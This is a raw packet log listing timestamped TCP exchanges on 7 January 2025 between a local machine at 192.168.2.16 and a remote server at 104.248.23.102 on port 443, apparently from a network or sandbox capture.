Jan 7, 2025 14:48:55.851331949 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.867335081 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.869308949 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.869323015 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.884308100 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.918282032 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.059432030 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.059875011 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.059905052 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.060244083 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.060597897 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.060661077 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.060806990 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.107325077 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.121561050 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.121639967 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.121694088 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.130800009 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.130829096 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.133420944 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.133459091 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.133534908 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.133910894 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.133919954 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.134778023 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.134820938 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.134891987 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.135078907 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.135090113 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.212405920 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.212434053 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.212573051 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.212589025 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.212976933 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.213052034 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.213352919 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.213368893 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.239885092 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.245868921 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.245948076 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.246157885 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.246172905 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.262404919 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.267561913 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.267652035 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.267677069 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.267967939 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.268001080 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.268053055 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.576970100 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.577063084 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.577163935 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.577311993 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.577338934 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.758130074 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.760154963 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.760183096 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.760572910 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.760858059 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.760952950 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.761019945 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.761351109 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.762598991 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.762614965 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.762979031 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.763263941 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.763356924 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.763418913 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.763432980 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:56.763448954 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:56.807346106 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.082992077 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.083026886 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.083106041 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.083120108 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.083168983 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.090564013 CET	49767	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.090585947 CET	443	49767	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.106004953 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.106057882 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.106139898 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.106893063 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.106906891 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.234189987 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.234298944 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.234354019 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.235431910 CET	49766	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.235454082 CET	443	49766	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.238512039 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.238544941 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.238632917 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.238837957 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.238850117 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.405520916 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.405586958 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.405633926 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.405668020 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.405678988 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.405720949 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.405972004 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.405986071 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.406116962 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.406128883 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.423404932 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.423448086 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.423655033 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.423837900 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.423909903 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.423995018 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.424056053 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.424068928 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.424185038 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.424201965 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.757544041 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.757869959 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.757900953 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.758960009 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.759035110 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.759408951 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.759486914 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.760307074 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.760334969 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.813297987 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.861038923 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.861408949 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.861433029 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.861757994 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.862057924 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.862117052 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:57.862194061 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:57.907330036 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.047496080 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.047858953 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.047878027 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.048639059 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.048829079 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.048857927 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.048988104 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.049057007 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.049587965 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.049768925 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.049797058 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050220013 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.050225973 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050293922 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.050314903 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050647974 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.050720930 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050802946 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.050811052 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050848961 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050857067 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.050867081 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.050904036 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.051148891 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.051218987 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.051255941 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.065615892 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.066095114 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.066111088 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.066443920 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.066750050 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.066843987 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.066910028 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.095349073 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.100328922 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.100327969 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.102288961 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.102319956 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.107326031 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.111805916 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.111829996 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.111838102 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.111855984 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.111924887 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.111932993 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.111979961 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.112735033 CET	49768	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.112766027 CET	443	49768	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.148313046 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.169102907 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.169157982 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.169275045 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.169497967 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.169512987 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.379873037 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.380398035 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.380470037 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.380650997 CET	49769	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.380669117 CET	443	49769	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.457851887 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.463179111 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.463260889 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.463490009 CET	49772	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.463506937 CET	443	49772	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.467039108 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.467077971 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.467149973 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.467396975 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.467408895 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.493258953 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.496941090 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.497040033 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.497054100 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.497699976 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.497760057 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.497843027 CET	49770	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.497855902 CET	443	49770	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.501341105 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.504403114 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.504410982 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.504482985 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.504513025 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.505207062 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.505269051 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.505337954 CET	49773	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.505352020 CET	443	49773	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.514714003 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.514763117 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.514826059 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.514837980 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.514867067 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.514919043 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.515074015 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.515084982 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.515194893 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.515206099 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.792185068 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.793674946 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.793708086 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.794790983 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.794888020 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.796138048 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.796207905 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.796370029 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:58.796386003 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:58.850279093 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.031277895 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.073370934 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.122220039 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.122512102 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.122528076 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.122863054 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.123168945 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.123229027 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.123323917 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.141489983 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.141788006 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.141802073 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.142795086 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.142872095 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.143152952 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.143197060 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.143301964 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.143306971 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150695086 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150705099 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150742054 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150754929 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150768042 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.150770903 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150785923 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.150799036 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.150824070 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.152672052 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.152678967 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.152698040 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.152746916 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.152756929 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.152776003 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.161590099 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.161818981 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.161827087 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.162872076 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.162935972 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.163244963 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.163304090 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.163382053 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.163388014 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.171324968 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.185276031 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.201349974 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.217355013 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.241911888 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.241921902 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.241950035 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.241960049 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.242116928 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.242116928 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.242140055 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.242186069 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.243582964 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.243591070 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.243607998 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.243628979 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.243647099 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.243653059 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.243683100 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.244569063 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.244590998 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.244651079 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.244664907 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.245718956 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.245743990 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.245794058 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.245805979 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.245820045 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.245821953 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.245867014 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.246140957 CET	49771	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.246154070 CET	443	49771	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.251271963 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.251322985 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.251394987 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.251641035 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.251656055 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.349905014 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.350126982 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.350191116 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.350697041 CET	49775	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.350719929 CET	443	49775	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.354058027 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.354090929 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.354168892 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.354598999 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.354615927 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.577143908 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.577269077 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.577341080 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.578058004 CET	49776	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.578075886 CET	443	49776	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.876142025 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.876764059 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.876849890 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.876864910 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.876914978 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.876959085 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.877145052 CET	49777	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.877161026 CET	443	49777	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.886106014 CET	443	49779	104.248.23.102	192.168.2.16
